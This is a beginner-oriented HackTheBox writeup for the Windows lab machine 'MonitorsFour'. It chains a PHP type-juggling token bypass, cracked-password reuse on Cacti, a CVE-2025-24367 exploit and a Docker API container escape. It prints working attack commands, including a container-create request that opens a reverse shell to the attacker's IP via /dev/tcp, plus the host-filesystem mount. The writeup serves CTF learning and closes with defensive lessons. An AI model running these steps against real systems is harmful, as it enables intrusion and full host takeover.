All writeups

MonitorsFour

Easy HackTheBox Completed
PHP Type JugglingCactiCVE-2025-24367Docker EscapeWindows

2 June 2026

HackTheBox — MonitorsFour (Easy) Writeup

MonitorsFour is an easy Windows machine (10.129.7.65). We leak the user database
through a PHP type juggling bug, reuse a cracked password on an outdated Cacti
install for remote code execution, do some network recon from inside a Docker
container, and finally abuse an unauthenticated Docker API to mount the Windows
host filesystem and read the root flag. Each step is explained for beginners,
including the why.

Tools used

| Tool | Purpose | Install |
|------|---------|---------|
| nmap | Scan open ports and services | sudo apt install nmap |
| gobuster | Brute-force directories and vhosts | sudo apt install gobuster |
| hashcat | Crack MD5 hashes | sudo apt install hashcat |
| curl | HTTP requests (exploit + Docker API) | sudo apt install curl |
| netcat | Catch the reverse shell | sudo apt install netcat-traditional |
| wget | Download the PoC | sudo apt install wget |
| golang | Compile fscan | sudo apt install golang |
| fscan | Scan the internal network | git clone + go build |

Step 1 — Enumeration

We always start with an nmap scan to see which ports are open.

sudo nmap -sC -sV 10.129.7.65

Flag explanation:


Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-27 18:11 +0000
Nmap scan report for 10.129.7.65
Host is up (0.010s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http nginx
|_http-title: Did not follow redirect to http://monitorsfour.htb/
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

| Port | Service | What does this mean? |
|------|---------|----------------------|
| 80 | nginx (HTTP) | Web server, redirects to monitorsfour.htb |
| 5985 | WinRM | Windows Remote Management — remote shell once we have creds |

The redirect reveals a hostname, so we link the IP to it in /etc/hosts:

echo "10.129.7.65 monitorsfour.htb" | sudo tee -a /etc/hosts

Next we brute-force directories with gobuster:

gobuster dir -u http://monitorsfour.htb \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

> Beginner tip: common.txt is often too small. Use
> directory-list-2.3-small.txt or larger for better results.

Found endpoints:

| Endpoint | Type |
|----------|------|
| /user | API endpoint |
| /forgot-password | Page |
| /login | Page |

Then a vhost scan to find subdomains:

gobuster vhost -u http://monitorsfour.htb \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt --append-domain

> Common mistake: Use a DNS wordlist, not a directory wordlist. Add
> --append-domain so gobuster automatically puts .monitorsfour.htb behind
> every word.

This finds the subdomain cacti.monitorsfour.htb — add it to /etc/hosts too.

Step 2 — Foothold: PHP type juggling

The /user endpoint expects a token parameter. In the browser's network tab on
/forgot-password we can see the server runs PHP (X-Powered-By: PHP/8.3.27) and
that it calls /api/v1/reset.

Vulnerability: PHP type juggling. PHP compares the token with == (loose
comparison) instead of === (strict comparison). A token that starts with 0e
followed by only digits is read as scientific notation (0 × 10^x = 0), so two
different tokens are considered equal.

curl "http://monitorsfour.htb/user?token=0e1234567890"

> Beginner tip: Letters after 0e do not work — it has to be pure digits.
> Try 0e1234567890 or similar.

This leaks the full user database including MD5-hashed passwords. You recognise
MD5 by its length of 32 characters — confirm the hash type on hashes.com. The
admin password cracks to <MONITORSFOUR_PASSWORD>.

Step 3 — Cacti RCE (CVE-2025-24367)

cacti.monitorsfour.htb runs Cacti 1.2.28 (shown at the bottom of the login
page). Logging in as admin fails, but marcus with <MONITORSFOUR_PASSWORD>
works — password reuse.

Vulnerability: CVE-2025-24367 lets an authenticated user inject arbitrary PHP
code into the web root through the graph template functionality, leading to Remote
Code Execution.

Download the PoC from GitHub — always grab the Raw version, not the HTML page:

wget https://raw.githubusercontent.com/SoftAndoWetto/CVE-2025-24367-PoC-Cacti/main/exploit.py

> Common mistake: Downloading via the normal GitHub URL gives you HTML instead
> of Python code. Always use the Raw URL or click the Raw button on GitHub.

Run the script from your home directory (not from a directory without write
permissions):

cd ~
python3 exploit.py

> Common mistake: Running the script from a directory where you have no write
> permissions crashes it with a PermissionError, because it tries to create a log
> file.

Start a netcat listener in a separate terminal first:

nc -lnvp 4445

Result: a reverse shell as www-data inside a Docker container (821fbd6a43fa).

Step 4 — Network recon from inside the container

Check which network you are on:

ip route
ip addr

You see the internal Docker network 172.18.0.0/16. Via /etc/resolv.conf you
discover the Docker Desktop host IP:

cat /etc/resolv.conf

192.168.65.7 is listed as the external DNS server — this is the Docker Desktop
host. To find other hosts and ports, we upload fscan (a statically compiled
network scanner).

On Kali — compile fscan from source:

sudo apt update && sudo apt install golang -y
git clone https://github.com/shadow1ng/fscan
cd fscan
go build -o fscan main.go

> Why compile? fscan is written in Go. The source is not directly executable —
> you need a compiled binary. Go links statically, so the binary needs no external
> libraries and runs even inside a bare Docker container.

On Kali — start an HTTP server in the directory containing fscan:

python3 -m http.server 8080

> Common mistake: Start the HTTP server in the directory where fscan lives,
> otherwise the container cannot find the file.

In the container — download fscan and run it:

curl -o /tmp/fscan http://10.10.15.29:8080/fscan
chmod +x /tmp/fscan
cd /tmp
./fscan -h 172.18.0.0/24

> Common mistake: Use ./fscan, not fscan — without ./ bash searches the
> PATH and does not find the binary.

Step 5 — Container escape: unauthenticated Docker API

fscan showed two active hosts. Port 2375 on 192.168.65.7 was open — the Docker
daemon API without authentication.

curl http://192.168.65.7:2375/containers/json
curl http://192.168.65.7:2375/images/json

Vulnerability: the Docker daemon API is reachable without authentication. This
gives full control over every container and image on the host.

Exploit — create a new container with the host filesystem mounted:

curl -X POST http://192.168.65.7:2375/containers/create \
  -H "Content-Type: application/json" \
  -d '{"Image":"docker_setup-nginx-php:latest","Cmd":["/bin/bash","-c","bash -i > /dev/tcp/10.10.15.29/4446 0>&1 2>&1"],"HostConfig":{"Binds":["/mnt/host/c:/host_root"]}}'

> Why docker_setup-nginx-php and not alpine? Alpine uses ash as its shell and
> does not support /dev/tcp. The nginx-php image has bash installed.

> Common mistake: The JSON syntax must be exactly right. Put everything on one
> line and use double quotes inside the single quotes.

Start the container (use the ID from the previous response):

curl -X POST http://192.168.65.7:2375/containers/<CONTAINER_ID>/start

Result: a root shell in the new container with the full Windows host filesystem
accessible under /host_root.

Step 6 — Root flag

ls /host_root/Users/Administrator/Desktop/
cat /host_root/Users/Administrator/Desktop/root.txt

REDACTED

Attack chain overview

[Step 1 — nmap + gobuster: port 80, WinRM, /user, cacti vhost]
    -> [Step 2 — PHP type juggling -> user DB -> MD5 cracked]
    -> [Step 3 — Cacti 1.2.28 RCE (CVE-2025-24367) -> www-data in container]
    -> [Step 4 — fscan recon -> Docker host 192.168.65.7]
    -> [Step 5 — unauthenticated Docker API 2375 -> host mount]
    -> [Step 6 — root on Windows host]

Lessons Learned

1. PHP type juggling is dangerous in token validation — always use ===.
2. Password reuse across applications gives attackers easy access.
3. Outdated software: Cacti must be kept up to date — CVE-2025-24367 is patched
in version 1.2.29.
4. Docker daemon on TCP port 2375 without authentication gives full control —
never enable it.
5. Subdomains are just as important as directories during web enumeration.
6. Download raw files from GitHub — never the HTML page.

Want to try this CTF challenge yourself? Click here
🔒 Protect your IP while hacking — use a VPN NordVPN →
🚩 New to CTF? TryHackMe is perfect for beginners TryHackMe →